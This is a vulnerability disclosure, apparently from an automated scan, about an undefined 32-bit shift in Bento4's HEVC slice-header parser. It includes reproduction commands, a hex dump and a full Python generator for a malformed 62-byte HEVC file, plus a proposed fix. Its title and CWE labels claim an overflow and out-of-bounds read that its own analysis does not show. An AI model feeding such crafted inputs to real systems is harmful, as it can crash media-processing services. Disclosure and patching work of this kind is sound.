Integer Overflow in PicSizeInCtbsY Leads to Signed Shift UB

[sgzeng]

1. Title

Integer overflow in PicSizeInCtbsY multiplication causes (1<<32) undefined behaviour in BitsNeeded() during HEVC slice header parsing (Ap4HevcParser.cpp).

2. Severity

High — CWE-190 (Integer Overflow), CWE-125 (Out-of-bounds Read), CWE-119 (Buffer Boundary Violation)

3. Source Identifier

SF142 (hypothesis scan finding 142, confidence 0.95)

4. Affected Component

• File: Source/C++/Codecs/Ap4HevcParser.cpp
• Functions: BitsNeeded() (line 180), AP4_HevcSliceSegmentHeader::Parse (lines 354-370)
• Entry point: any binary calling AP4_HevcFrameParser::Feed on attacker-supplied HEVC (e.g. mp4mux --track h265:<file>)

5. Commit That Introduced the Bug

9b300a6 wip
2e3fb80 initial hevc mix support and other small enhancements

Repository HEAD at time of analysis: b8c50a078356a1c3444ce0a8744634ed488424a4

6. Analysis

In AP4_HevcSliceSegmentHeader::Parse, lines 356-361:

unsigned int MinCbLog2SizeY   = sps->log2_min_luma_coding_block_size_minus3 + 3;
unsigned int CtbLog2SizeY     = MinCbLog2SizeY + sps->log2_diff_max_min_luma_coding_block_size;
unsigned int CtbSizeY         = 1 << CtbLog2SizeY;
unsigned int PicWidthInCtbsY  = (sps->pic_width_in_luma_samples  + CtbSizeY - 1) / CtbSizeY;
unsigned int PicHeightInCtbsY = (sps->pic_height_in_luma_samples + CtbSizeY - 1) / CtbSizeY;
unsigned int PicSizeInCtbsY   = PicWidthInCtbsY * PicHeightInCtbsY;

With a crafted SPS (CtbSizeY=8, width=524288, height=262152):

• PicWidthInCtbsY = 65536
• PicHeightInCtbsY = 32769
• PicSizeInCtbsY = 65536 x 32769 = 2,147,549,184 = 0x80010000

This value is > 2^31 but < 2^32 (fits in uint32_t without wrapping).

In BitsNeeded() at line 180:

while (num_values > (unsigned int)(1 << bits_needed)) {

With num_values = 2,147,549,184:

• At bits_needed=31: (int)(1 << 31) = INT_MIN = -2147483648; cast to unsigned = 2147483648. Since 2147549184 > 2147483648, loop continues.
• At bits_needed=32: (1 << 32) is undefined behaviour (C++ section 6.5.7: shift exponent must be < width of type). UBSAN reports: shift exponent 32 is too large for 32-bit type 'int'.

7. Reproducible Testcase

python3 gen_poc.py      # produces poc_hevc_ctbs_overflow.hevc (62 bytes)

mkdir -p cmakebuild-ubsan && cd cmakebuild-ubsan
cmake .. -DCMAKE_BUILD_TYPE=Debug -DENABLE_ASAN=OFF \
      -DCMAKE_CXX_FLAGS="-fsanitize=undefined -fno-omit-frame-pointer -g" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=undefined"
make -j$(nproc) mp4mux
cd ..

UBSAN_OPTIONS=print_stacktrace=1 timeout 60 \
  ./cmakebuild-ubsan/mp4mux --track "h265:poc_hevc_ctbs_overflow.hevc" out.mp4

Hex dump of the 62-byte PoC (poc_hevc_ctbs_overflow.hevc):

00000000: 0000 0142 0101 0160 0000 0300 0003 0000  ...B...`........
00000010: 0300 0003 005d a000 0100 0020 0004 0009  .....]..... ....
00000020: 657e 46c2 0800 0001 4401 c070 0048 0000  e~F.....D..p.H..
00000030: 0102 0140 0000 0300 4000 0003 001c       ...@....@.....

8. Crash Stack Trace

CONFIRMED - triggered on first attempt.

Ap4HevcParser.cpp:180:42: runtime error: shift exponent 32 is too large for 32-bit type 'int'
    #0 BitsNeeded(unsigned int) Ap4HevcParser.cpp:180
    #1 AP4_HevcSliceSegmentHeader::Parse(...) Ap4HevcParser.cpp:368
    #2 AP4_HevcFrameParser::Feed(unsigned char const*, ...) Ap4HevcParser.cpp:1292
    #3 AP4_HevcFrameParser::Feed(void const*, ...) Ap4HevcParser.cpp:1245
    #4 AddH265Track(...) Mp4Mux.cpp:1569
    #5 main Mp4Mux.cpp:2359

SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior Ap4HevcParser.cpp:180:42

verified=true

9. Input Generation Script

gen_poc.py writes an Annex-B HEVC bitstream with:

• SPS NAL (type 33): oversized dimensions, CtbSizeY=8 leading to PicSizeInCtbsY=2,147,549,184
• PPS NAL (type 34): minimal, references SPS 0
• Slice NAL (TRAIL_R, type 1): first_slice_segment_in_pic_flag=0 so the parser calls BitsNeeded(PicSizeInCtbsY)

Full source:

#!/usr/bin/env python3
"""
PoC generator for SF142 - Integer overflow in PicSizeInCtbsY multiplication
in AP4_HevcSliceSegmentHeader::Parse (Ap4HevcParser.cpp lines 354-359).

Target: Bento4 mp4mux (AP4_HevcFrameParser::Feed -> slice_header->Parse)
        Trigger: mp4mux --track h265:<file> out.mp4
Bug:    unsigned int PicSizeInCtbsY = PicWidthInCtbsY * PicHeightInCtbsY;
        With crafted SPS dimensions this overflows, passing a >2^31 value to
        BitsNeeded() which loops until bits_needed==32 then executes (1<<32),
        a signed-integer shift that is undefined behaviour.
UBSAN:  "shift exponent 32 is too large for 32-bit type 'int'"
"""

import struct, sys, os

# ---------------------------------------------------------------------------
# Exp-Golomb helpers  (unsigned, 0-based: codeNum = value)
# ---------------------------------------------------------------------------
def golomb(v: int) -> tuple:
    """Return (bits, num_bits) for unsigned Exp-Golomb code of value v."""
    code_num = v                          # unsigned Exp-Golomb: codeNum = v
    k = code_num + 1                     # k = codeNum + 1
    # number of bits in k
    nleading = k.bit_length() - 1       # leading zeros = floor(log2(k))
    total = 2 * nleading + 1
    return k, total                      # bit pattern = k, written in total bits


class BitWriter:
    def __init__(self):
        self._bits = []

    def write_bit(self, b: int):
        self._bits.append(b & 1)

    def write_bits(self, value: int, n: int):
        for i in range(n - 1, -1, -1):
            self._bits.append((value >> i) & 1)

    def write_golomb(self, v: int):
        k, total = golomb(v)
        self.write_bits(k, total)

    def to_bytes(self) -> bytes:
        # pad to byte boundary with zeros
        bits = self._bits[:]
        while len(bits) % 8:
            bits.append(0)
        out = bytearray()
        for i in range(0, len(bits), 8):
            byte = 0
            for j in range(8):
                byte = (byte << 1) | bits[i + j]
            out.append(byte)
        return bytes(out)

    def bit_count(self):
        return len(self._bits)


# ---------------------------------------------------------------------------
# RBSP trailing bits (byte_alignment)
# ---------------------------------------------------------------------------
def add_rbsp_trailing_bits(bw: BitWriter):
    bw.write_bit(1)
    while bw.bit_count() % 8 != 0:
        bw.write_bit(0)


# ---------------------------------------------------------------------------
# HEVC NAL unit header  (2 bytes)
# nal_unit_type (6 bits) | nuh_layer_id (6 bits) | nuh_temporal_id_plus1 (3 bits)
# ---------------------------------------------------------------------------
def nal_header(nal_type: int) -> bytes:
    h = (nal_type << 9) | (0 << 3) | 1   # layer_id=0, temporal_id_plus1=1
    return struct.pack('>H', h)


# ---------------------------------------------------------------------------
# Emulation-prevention: insert 0x03 before 0x00 0x00 0x00/01/02/03
# ---------------------------------------------------------------------------
def add_emulation_prevention(data: bytes) -> bytes:
    out = bytearray()
    zeros = 0
    for b in data:
        if zeros >= 2 and b in (0x00, 0x01, 0x02, 0x03):
            out.append(0x03)
            zeros = 0
        out.append(b)
        zeros = (zeros + 1) if b == 0x00 else 0
    return bytes(out)


# ---------------------------------------------------------------------------
# Profile/tier/level  (fixed minimal blob, 88 bits)
# ---------------------------------------------------------------------------
def write_profile_tier_level(bw: BitWriter, max_sub_layers_minus1: int):
    # general profile
    bw.write_bits(0, 2)   # general_profile_space
    bw.write_bit(0)        # general_tier_flag
    bw.write_bits(1, 5)   # general_profile_idc = 1 (Main)
    bw.write_bits(0x60000000, 32)  # general_profile_compatibility_flags
    bw.write_bits(0, 16)  # general_constraint_indicator_flags[47:32]
    bw.write_bits(0, 32)  # general_constraint_indicator_flags[31:0]
    bw.write_bits(93, 8)  # general_level_idc = 93 (level 3.1)
    # sub-layer present flags (none)
    for _ in range(max_sub_layers_minus1):
        bw.write_bit(0)   # sub_layer_profile_present_flag
        bw.write_bit(0)   # sub_layer_level_present_flag
    # reserved_zero_2bits for each pair not present (alignment)
    if max_sub_layers_minus1 > 0:
        for _ in range(8 - max_sub_layers_minus1):
            bw.write_bits(0, 2)


# ---------------------------------------------------------------------------
# Build SPS RBSP with crafted pic dimensions
#
# Target: PicWidthInCtbsY = 65536, PicHeightInCtbsY = 32769
#   =>    PicSizeInCtbsY  = 2,147,549,184  (> 2^31, fits in uint32)
#   =>    BitsNeeded(2147549184) loops to bits_needed=32, executes (1<<32) -> UB
#
# CtbSizeY = 8  (log2_min=3, diff=0)
# pic_width_in_luma_samples  = 65536 * 8 = 524288
# pic_height_in_luma_samples = 32769 * 8 = 262152
# ---------------------------------------------------------------------------
SPS_W = 65536 * 8   # 524288
SPS_H = 32769 * 8   # 262152

def build_sps_rbsp() -> bytes:
    bw = BitWriter()
    # NAL header already prepended separately; RBSP starts after
    bw.write_bits(0, 4)   # sps_video_parameter_set_id = 0
    bw.write_bits(0, 3)   # sps_max_sub_layers_minus1 = 0
    bw.write_bit(1)        # sps_temporal_id_nesting_flag
    write_profile_tier_level(bw, 0)  # max_sub_layers_minus1=0 -> no sub-layer loop
    bw.write_golomb(0)    # sps_seq_parameter_set_id = 0
    bw.write_golomb(1)    # chroma_format_idc = 1 (4:2:0)
    # separate_colour_plane_flag NOT written (chroma_format_idc != 3)
    bw.write_golomb(SPS_W)       # pic_width_in_luma_samples
    bw.write_golomb(SPS_H)       # pic_height_in_luma_samples
    bw.write_bit(0)               # conformance_window_flag = 0
    bw.write_golomb(0)            # bit_depth_luma_minus8 = 0
    bw.write_golomb(0)            # bit_depth_chroma_minus8 = 0
    bw.write_golomb(4)            # log2_max_pic_order_cnt_lsb_minus4 = 4
    bw.write_bit(0)               # sps_sub_layer_ordering_info_present_flag = 0
    # only i = sps_max_sub_layers_minus1 = 0
    bw.write_golomb(0)            # sps_max_dec_pic_buffering_minus1[0]
    bw.write_golomb(0)            # sps_max_num_reorder_pics[0]
    bw.write_golomb(0)            # sps_max_latency_increase_plus1[0]
    bw.write_golomb(0)            # log2_min_luma_coding_block_size_minus3 = 0 -> MinCbLog2=3, CtbSizeY=8
    bw.write_golomb(0)            # log2_diff_max_min_luma_coding_block_size = 0
    bw.write_golomb(0)            # log2_min_transform_block_size_minus2
    bw.write_golomb(3)            # log2_diff_max_min_transform_block_size
    bw.write_golomb(2)            # max_transform_hierarchy_depth_inter
    bw.write_golomb(2)            # max_transform_hierarchy_depth_intra
    bw.write_bit(0)               # scaling_list_enabled_flag
    bw.write_bit(0)               # amp_enabled_flag
    bw.write_bit(0)               # sample_adaptive_offset_enabled_flag
    bw.write_bit(0)               # pcm_enabled_flag
    bw.write_golomb(0)            # num_short_term_ref_pic_sets = 0
    bw.write_bit(0)               # long_term_ref_pics_present_flag = 0
    bw.write_bit(0)               # sps_temporal_mvp_enabled_flag
    bw.write_bit(0)               # strong_intra_smoothing_enabled_flag
    bw.write_bit(0)               # vui_parameters_present_flag
    bw.write_bit(0)               # sps_extension_present_flag
    add_rbsp_trailing_bits(bw)
    return bw.to_bytes()


# ---------------------------------------------------------------------------
# Build PPS RBSP (minimal)
# ---------------------------------------------------------------------------
def build_pps_rbsp() -> bytes:
    bw = BitWriter()
    bw.write_golomb(0)   # pps_pic_parameter_set_id = 0
    bw.write_golomb(0)   # pps_seq_parameter_set_id = 0
    bw.write_bit(0)       # dependent_slice_segments_enabled_flag = 0
    bw.write_bit(0)       # output_flag_present_flag = 0
    bw.write_bits(0, 3)  # num_extra_slice_header_bits = 0
    bw.write_bit(0)       # sign_data_hiding_enabled_flag
    bw.write_bit(0)       # cabac_init_present_flag
    bw.write_golomb(0)   # num_ref_idx_l0_default_active_minus1
    bw.write_golomb(0)   # num_ref_idx_l1_default_active_minus1
    bw.write_golomb(0)   # init_qp_minus26  (signed golomb 0 -> codenum 0)
    bw.write_bit(0)       # constrained_intra_pred_flag
    bw.write_bit(0)       # transform_skip_enabled_flag
    bw.write_bit(0)       # cu_qp_delta_enabled_flag
    bw.write_bit(0)       # pps_slice_chroma_qp_offsets_present_flag
    bw.write_bit(0)       # weighted_pred_flag
    bw.write_bit(0)       # weighted_bipred_flag
    bw.write_bit(0)       # transquant_bypass_enabled_flag
    bw.write_bit(0)       # tiles_enabled_flag
    bw.write_bit(0)       # entropy_coding_sync_enabled_flag
    bw.write_bit(0)       # loop_filter_across_slices_enabled_flag
    bw.write_bit(0)       # deblocking_filter_control_present_flag
    bw.write_bit(0)       # pps_scaling_list_data_present_flag
    bw.write_bit(0)       # lists_modification_present_flag
    bw.write_golomb(0)   # log2_parallel_merge_level_minus2
    bw.write_bit(0)       # slice_segment_header_extension_present_flag
    bw.write_bit(0)       # pps_extension_present_flag
    add_rbsp_trailing_bits(bw)
    return bw.to_bytes()


# ---------------------------------------------------------------------------
# Build slice segment RBSP
#
# We set first_slice_segment_in_pic_flag = 0 so the parser reads
# slice_segment_address, calling BitsNeeded(PicSizeInCtbsY) -> triggers UB.
# NAL type = TRAIL_R (1) - an inter slice, not IRAP.
# ---------------------------------------------------------------------------
def build_slice_rbsp() -> bytes:
    bw = BitWriter()
    bw.write_bit(0)       # first_slice_segment_in_pic_flag = 0
    # nal_unit_type is TRAIL_R (1) - not IRAP, skip no_output_of_prior_pics_flag
    bw.write_golomb(0)   # slice_pic_parameter_set_id = 0
    # dependent_slice_segments_enabled_flag in PPS is 0, skip dependent flag
    # now parser calls BitsNeeded(PicSizeInCtbsY) and reads bits
    # We need to provide enough bits for BitsNeeded to iterate past 31
    # BitsNeeded(2147549184) tries to compute (1<<32) before returning -
    # that shift is the UB.  Provide a dummy address value of 1 (32+ bits).
    bw.write_bits(0x1, 32)   # generous padding to prevent premature EOS
    bw.write_bits(0x0, 32)
    # slice_type (Golomb): write I-slice (2)
    bw.write_golomb(2)   # slice_type = I
    # ... rest doesn't matter, parser will detect invalid format and return
    add_rbsp_trailing_bits(bw)
    return bw.to_bytes()


# ---------------------------------------------------------------------------
# Wrap RBSP bytes into a complete Annex-B NAL unit (0x000001 start code)
# ---------------------------------------------------------------------------
def annex_b_nal(nal_type: int, rbsp: bytes) -> bytes:
    payload = nal_header(nal_type) + rbsp
    payload = add_emulation_prevention(payload)
    return b'\x00\x00\x01' + payload


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    out_dir = os.path.dirname(os.path.abspath(__file__))
    out_path = os.path.join(out_dir, 'poc_hevc_ctbs_overflow.hevc')
    # Trigger command:
    #   UBSAN_OPTIONS=print_stacktrace=1 ./cmakebuild-ubsan/mp4mux \
    #     --track h265:<out_path> out.mp4

    # NAL type codes
    SPS_NUT   = 33
    PPS_NUT   = 34
    TRAIL_R   = 1   # inter VCL - type < VPS_NUT -> slice header is parsed

    sps_rbsp   = build_sps_rbsp()
    pps_rbsp   = build_pps_rbsp()
    slice_rbsp = build_slice_rbsp()

    data  = annex_b_nal(SPS_NUT,  sps_rbsp)
    data += annex_b_nal(PPS_NUT,  pps_rbsp)
    data += annex_b_nal(TRAIL_R,  slice_rbsp)

    with open(out_path, 'wb') as f:
        f.write(data)

    print(f"Written {len(data)} bytes -> {out_path}")
    print(f"SPS dims: {SPS_W} x {SPS_H} (luma samples)")
    print(f"PicWidthInCtbsY  = {SPS_W // 8} = 0x{SPS_W // 8:x}")
    print(f"PicHeightInCtbsY = {SPS_H // 8} = 0x{SPS_H // 8:x}")
    w_ctbs = SPS_W // 8
    h_ctbs = SPS_H // 8
    product = w_ctbs * h_ctbs
    print(f"PicSizeInCtbsY   = {product} = 0x{product:x}  (overflow: {product >= 2**32})")
    print(f"BitsNeeded trigger: product > 2^31 = {product > 2**31}")
    print(f"  -> BitsNeeded iterates to bits_needed=32, then evaluates (1<<32) -> UB")


if __name__ == '__main__':
    main()

10. Proposed Fix

--- a/Source/C++/Codecs/Ap4HevcParser.cpp
+++ b/Source/C++/Codecs/Ap4HevcParser.cpp
@@ -177,10 +177,10 @@
 BitsNeeded(unsigned int num_values)
 {
     unsigned int bits_needed = 1;
-    while (num_values > (unsigned int)(1 << bits_needed)) {
+    while (bits_needed < 32 && num_values > (1U << bits_needed)) {
         ++bits_needed;
     }
-    
+
     return bits_needed;
 }
 

Use 1U (unsigned) instead of 1 (signed int) and add a bits_needed < 32 guard to prevent a 32-bit shift. Also add an overflow check in the caller before PicSizeInCtbsY = PicWidthInCtbsY * PicHeightInCtbsY.